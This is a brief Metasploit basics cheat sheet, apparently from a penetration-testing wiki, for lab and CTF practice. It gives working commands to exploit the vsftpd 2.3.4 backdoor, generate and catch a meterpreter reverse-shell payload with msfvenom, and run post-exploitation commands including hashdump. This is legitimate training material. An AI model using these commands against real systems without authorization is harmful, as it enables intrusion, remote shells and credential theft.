Metasploit Framework Basics

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

Metasploit is a modular exploitation framework — a database of exploits, payloads, and post modules driven from msfconsole. Practice it against Metasploitable.

#Core workflow

msfconsole -q
search type:exploit name:vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 10.10.10.5
set LHOST tun0
run

#Payloads & handlers

# generate a standalone payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -f elf -o shell.elf
# catch it
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST tun0; set LPORT 4444; run

#Meterpreter

sysinfo            getuid           hashdump
shell              upload/download  portfwd
background         migrate <pid>    run post/multi/recon/local_exploit_suggester

Next: once you have a shell, escalate with Linux Privilege Escalation / Windows Privilege Escalation and move laterally via Pivoting and Tunneling.